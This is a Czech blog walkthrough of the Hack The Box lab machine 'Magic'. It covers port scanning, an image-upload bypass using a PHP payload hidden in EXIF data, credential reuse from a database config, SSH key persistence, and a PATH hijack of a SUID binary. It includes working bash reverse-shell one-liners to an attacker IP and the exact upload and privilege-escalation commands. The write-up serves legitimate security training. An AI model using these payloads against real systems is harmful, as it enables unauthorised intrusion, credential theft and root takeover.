tom@home.htb:~$

Blog o HTB

15 December 2020

Magic

Úvod a kontext

Magic je pěkný příklad kombinace špatně navrženého uploadu, reuse hesel a nebezpečného SUID helperu. První část řetězce vede přes webový upload, který akceptuje obrázek s vloženým PHP kódem. Druhá část ukazuje, jak se z webového shellu vytáhnou hesla k lokálnímu účtu theseus. Poslední krok pak stojí na binárce /bin/sysinfo, která spouští externí nástroje podle PATH.

Je dobré si všimnout, že každý krok je jiný typ problému. Webová vrstva je chybně validovaný upload, přechod na uživatele je reuse hesla z aplikace do systému a root část je lokální delegace práv. Právě to z Magic dělá užitečný studijní materiál.

Počáteční průzkum

Apache a upload za loginem

Venku jsou jen dvě služby: SSH a Apache. To samo o sobě znamená, že první foothold bude téměř jistě přes web. dirsearch navíc rychle ukáže upload.php, který přesměrovává na login.php, takže je zřejmé, že aplikace umí nahrávat soubory a zároveň za nimi drží nějakou jednoduchou autentizaci.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

=> [13:24:13] 302 -    3KB - /upload.php  ->  login.php

Analýza zjištění

Polyglot upload s dvojitou příponou

Upload kontroluje soubor jen povrchně. Stačí tedy vzít validní JPG, vložit PHP payload do EXIF komentáře a poslat ho pod jménem image2.php.jpg s Content-Type: image/jpeg. Aplikace ho uloží pod webroot a Apache pak při požadavku na nahraný soubor zpracuje i vložený PHP kód.

exiftool -Comment='<?php system("/bin/bash -c \"bash -i >& /dev/tcp/10.10.14.31/4000 0>&1\""); ?>' 3.jpg
curl --form "image=@3.jpg;filename=image2.php.jpg;type=image/jpeg" --form "submit=Upload%20Image" http://$IP/upload.php
netcat -lvp 4000
http://10.10.10.185/images/uploads/image2.php.jpg

Získání přístupu

Z www-data na theseus

Webový shell běží jako nízko privilegovaný uživatel, takže další cíl je najít lokální tajemství. Konfigurace db.php5 obsahuje databázový účet theseus a z tabulky login vypadne heslo Th3s3usW4sK1ng. Právě kombinace těchto dvou artefaktů vede k účtu theseus.

cat db.php5
=> private static $dbUsername = 'theseus';
=> private static $dbUserPassword = 'iamkingtheseus';

SELECT * FROM login;
=> stdClass Object ( [id] => 1 [username] => admin [password] => Th3s3usW4sK1ng )

Jakmile funguje su theseus, vyplatí se přidat vlastní SSH klíč a přepnout se na stabilní přístup přes SSH.

su theseus
mkdir -p ~/.ssh && chmod 700 ~/.ssh && touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys && echo "ssh-rsa __CENSORED__== hack@t" >> ~/.ssh/authorized_keys
ssh theseus@$IP
cat user.txt
__CENSORED__

Eskalace oprávnění

/bin/sysinfo a hijack přes PATH

Na účtu theseus už lokální enumerace ukáže root-owned binárku /bin/sysinfo, kterou může spouštět skupina users. pspy napoví, že program používá externí nástroj lshw bez absolutní cesty. To stačí na klasický PATH hijack: do /tmp se připraví vlastní lshw, upraví se PATH a sysinfo pak spustí útočníkův skript jako root.

ls -l /bin/sysinfo
=> -rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo

export PATH=/tmp:$PATH
echo '/bin/bash -c "bash -i >& /dev/tcp/10.10.14.31/4001 0>&1"' > /tmp/lshw
chmod +x /tmp/lshw
/bin/sysinfo

Po získání root shellu už stačí dočíst root.txt.

cat root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - ssh - php - exploit - enumeration - privesc